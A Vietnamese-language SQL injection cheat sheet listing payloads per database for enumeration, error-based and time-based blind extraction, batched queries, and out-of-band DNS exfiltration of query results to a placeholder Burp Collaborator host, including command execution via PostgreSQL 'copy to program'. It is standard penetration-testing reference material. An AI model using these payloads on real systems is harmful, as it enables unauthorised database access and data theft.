**BẢNG HƯỚNG DẪN TIÊM SQL**

**NỐI CHUỖI (\*)**

- Bạn có thể nối nhiều chuỗi lại với nhau để tạo thành 1 chuỗi duy nhất

|  |  |
| --- | --- |
| Oracle | ‘foo’||’bar’ |
| Microsoft | ‘foo’+’bar’ |
| PostgreSQL | ‘foo’||’bar’ |
| MySQL | ‘foo’ ‘bar’  CONCAT(‘foo’, ‘bar’) |

**CHUỖI CON (\*)**

- Bạn có thể trích xuất một phần của chuỗi, từ một offset được chỉ định với độ dài được chỉ định. Lưu ý rằng chỉ số offset dựa trên 1. Mỗi biểu thức sau sẽ trả về chuỗi ba.

|  |  |
| --- | --- |
| Oracle | SUBSTR(‘foobar’, 4, 2) |
| Microsoft | SUBSTRING(‘foobar’,4,2) |
| PostgreSQL | SUBSTRING(‘foobar’,4,2) |
| MySQL | SUBSTRING(‘foobar’,4,2) |

**BÌNH LUẬN (\*)**

- Bạn có thể sử dụng chú thích để cắt bớt truy vấn và xóa phần truy vấn gốc theo sau nội dung bạn nhập.

|  |  |
| --- | --- |
| Oracle | --comment |
| Microsoft | --comment  /\*comment\*/ |
| PostgreSQL | --comment  /\*comment\*/ |
| MySQL | #comment  -- comment (có dấu cách sau --)  /\* comment\*/ |

**PHIÊN BẢN CSDL (\*)**

- Bạn có thể truy vấn cơ sở dữ liệu để xác định loại và phiên bản của nó. Thông tin này hữu ích khi xây dựng các cuộc tấn công phức tạp hơn.

|  |  |
| --- | --- |
| Oracle | SELECT banner FROM v$version  SELECT version FROM v$instance |
| Microsoft | SELECT @@version |
| PostgreSQL | SELECT version() |
| MySQL | SELECT @@version |

**NỘI DUNG CSDL (\*)**

- Bạn có thể liệt kê các bảng có trong cơ sở dữ liệu và các cột mà các bảng đó chứa.

|  |  |
| --- | --- |
| Oracle | SELECT \* FROM all\_tables  SELECT \* FROM all\_tab\_columns WHERE table\_name = ‘TABLE-NAME-HERE’ |
| Microsoft | SELECT \* FROM information\_schema.tables  SELECT \* FROM information \_schema.columns WHERE table\_name = ‘TABLE-NAME-HERE’ |
| PostgreSQL | SELECT \* FROM information\_schema.tables  SELECT \* FROM information \_schema.columns WHERE table\_name = ‘TABLE-NAME-HERE’ |
| MySQL | SELECT \* FROM information\_schema.tables  SELECT \* FROM information \_schema.columns WHERE table\_name = ‘TABLE-NAME-HERE’ |

**LỖI CÓ ĐIỀU KIỆN (\*)**

- Bạn có thể kiểm tra một điều kiện boolean duy nhất và kích hoạt lỗi cơ sở dữ liệu nếu điều kiện là đúng.

|  |  |
| --- | --- |
| Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO\_CHAR(1/0) ELSE NULL END FROM dual |
| Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
| PostgreSQL | 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END) |
| MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table\_name FROM information\_schema.tables),'a') |

**TRÍCH XUẤT DỮ LIỆU THÔNG QUA CÁC THÔNG BÁO LỖI CÓ THỂ NHÌN THẤY (\*)**

- Bạn có thể nhận được thông báo lỗi làm rò rỉ dữ liệu nhạy cảm được trả về bởi truy vấn độc hại của bạn.

|  |  |
| --- | --- |
| Microsoft | SELECT ‘foo’ WHERE 1 = (SELECT ‘secret’)  > Conversion failed when converting the varchar value 'secret' to data type int. |
| PostgreSQL | SELECT CAST((SELECT password FROM users LIMIT 1) AS int)  > invalid input syntax for integer: "secret" |
| MySQL | SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))  > XPATH syntax error: '\secret' |

**TRUY VẤN THEO ĐỢT (HOẶC XẾP CHỒNG) (\*)**

- Bạn có thể sử dụng truy vấn theo đợt để thực hiện nhiều truy vấn liên tiếp. Lưu ý rằng trong khi các truy vấn tiếp theo được thực hiện, kết quả không được trả về ứng dụng. Do đó, kỹ thuật này chủ yếu được sử dụng liên quan đến các lỗ hổng ẩn, trong đó bạn có thể sử dụng truy vấn thứ hai để kích hoạt tra cứu DNS, lỗi có điều kiện hoặc độ trễ thời gian.

|  |  |
| --- | --- |
| Oracle | Does not support batched queries. |
| Microsoft | QUERY-1-HERE; QUERY-2-HERE  QUERY-1-HERE QUERY-2-HERE |
| PostgreSQL | QUERY-1-HERE; QUERY-2-HERE |
| MySQL | QUERY-1-HERE; QUERY-2-HERE |

- Với MySQL, các truy vấn theo đợt thường không thể được sử dụng để tiêm SQL. Tuy nhiên, điều này đôi khi có thể thực hiện được nếu ứng dụng mục tiêu sử dụng một số API PHP hoặc Python để giao tiếp với cơ sở dữ liệu MySQL.

**THỜI GIAN TRỄ (\*)**

- Bạn có thể gây ra sự chậm trễ thời gian trong cơ sở dữ liệu khi truy vấn được xử lý. Sau đây sẽ gây ra sự chậm trễ thời gian vô điều kiện là 10 giây.

|  |  |
| --- | --- |
| Oracle | dbms\_pipe.receive\_message((‘a’),10) |
| Microsoft | WAITFOR DELAY ‘0:0:10’ |
| PostgreSQL | SELECT pg\_sleep(10) |
| MySQL | SELECT SLEEP(10) |

**SỰ CHẬM TRỄ THỜI GIAN CÓ ĐIỀU KIỆN (\*)**

- Bạn có thể kiểm tra một điều kiện boolean duy nhất và kích hoạt độ trễ thời gian nếu điều kiện đó đúng.

|  |  |
| --- | --- |
| Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms\_pipe.receive\_message(('a'),10) ELSE NULL END FROM dual |
| Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
| PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg\_sleep(10) ELSE pg\_sleep(0) END |
| MySQL | SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') |

**TRA CỨU DNS (\*)**

- Bạn có thể khiến cơ sở dữ liệu thực hiện tra cứu DNS đến một miền bên ngoài. Để thực hiện việc này, bạn sẽ cần sử dụng Burp Collaborator để tạo một miền phụ Burp Collaborator duy nhất mà bạn sẽ sử dụng trong cuộc tấn công của mình, sau đó thăm dò máy chủ Collaborator để xác nhận rằng đã xảy ra tra cứu DNS.

- ( XXE ) lỗ hổng kích hoạt tra cứu DNS. Lỗ hổng đã được vá nhưng vẫn còn nhiều cài đặt Oracle chưa được vá:

|  |  |
| --- | --- |
| Oracle | SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual |

|  |  |
| --- | --- |
| Oracle | SELECT UTL\_INADDR.get\_host\_address('BURP-COLLABORATOR-SUBDOMAIN')  (Kỹ thuật sau đây hoạt động trên các cài đặt Oracle đã vá đầy đủ, nhưng yêu cầu quyền cao hơn) |
| Microsoft | exec master..xp\_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a' |
| PostgreSQL | copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN' |
| MySQL | LOAD\_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')  SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'  (Chỉ hoạt động trên Windown) |

**TRA CỨU DNS VỚI VIỆC LỌC DỮ LIỆU (\*)**

- Bạn có thể khiến cơ sở dữ liệu thực hiện tra cứu DNS đến một miền bên ngoài chứa kết quả của truy vấn được tiêm. Để thực hiện việc này, bạn sẽ cần sử dụng Burp Collaborator để tạo một miền phụ Burp Collaborator duy nhất mà bạn sẽ sử dụng trong cuộc tấn công của mình, sau đó thăm dò máy chủ Collaborator để lấy thông tin chi tiết về bất kỳ tương tác DNS nào, bao gồm cả dữ liệu đã rò rỉ.

|  |  |
| --- | --- |
| Oracle | SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual |
| Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp\_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"') |
| PostgreSQL | create OR replace function f() returns void as $$  declare c text;  declare p text;  begin  SELECT into p (SELECT YOUR-QUERY-HERE);  c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';  execute c;  END;  $$ language plpgsql security definer;  SELECT f(); |
| MySQL | Kỹ thuật sau chỉ hoạt động trên Windown:  SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' |